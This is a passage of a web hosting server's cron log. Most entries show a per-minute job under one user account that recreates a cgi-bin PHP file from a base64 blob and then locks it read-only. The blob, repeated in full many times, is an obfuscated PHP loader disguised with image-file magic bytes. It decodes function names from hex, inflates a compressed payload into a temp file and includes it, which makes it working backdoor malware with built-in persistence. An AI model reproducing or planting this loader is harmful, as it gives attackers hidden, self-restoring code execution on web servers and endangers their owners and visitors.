&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:30:01 server CROND[21411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:30:01 server CROND[21413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:30:01 server CROND[21415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:30:01 server CROND[21414]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 11:31:01 server CROND[22421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:32:01 server CROND[23215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:33:01 server CROND[24093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:34:01 server CROND[24958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:35:01 server CROND[25986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:35:01 server CROND[25988]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 11:35:01 server CROND[25989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:35:01 server CROND[25991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:35:01 server CROND[25990]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 11:36:01 server CROND[26956]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:37:01 server CROND[27920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:38:01 server CROND[28792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:39:01 server CROND[29683]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 11:39:01 server CROND[29685]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:40:01 server CROND[30050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:40:01 server CROND[30049]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:40:01 server CROND[30051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:40:01 server CROND[30052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 11:41:01 server CROND[30656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
